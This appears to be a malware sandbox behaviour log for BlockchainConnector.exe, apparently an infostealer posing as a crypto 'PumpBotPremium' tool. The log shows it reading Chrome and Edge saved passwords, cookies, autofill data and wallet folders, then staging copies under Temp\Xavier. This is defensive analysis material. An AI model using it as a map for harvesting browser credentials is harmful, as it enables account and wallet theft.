              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ecb.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cbc.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cfb.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ofb.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ctr.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_strxor.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_BLAKE2s.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA1.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_SHA256.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_MD5.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_Salsa20.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Protocol\_scrypt.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Util\_cpuid_c.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_portable.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Hash\_ghash_clmul.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ocb.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aes.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aesni.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\.libs VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\numpy\.libs VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392 VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\cv2.pyd VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\cv2\opencv_videoio_ffmpeg490_64.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Wallets VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Screenshot.png VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\AutofillStates VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\GraphiteDawnCache VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\RecoveryImproved VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_cookies.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Cookies\Chrome_Default_cookies.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Chrome_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Chrome_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Autofills\Chrome_Default_AFILLS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_pass.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_Local State VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Edge_Default_PASS.txt VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_afills.db VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exeQueries volume information: C:\Users\user\AppData\Local\Temp\Xavier\Caches\Edge_Default_afills.db VolumeInformationJump to behavior
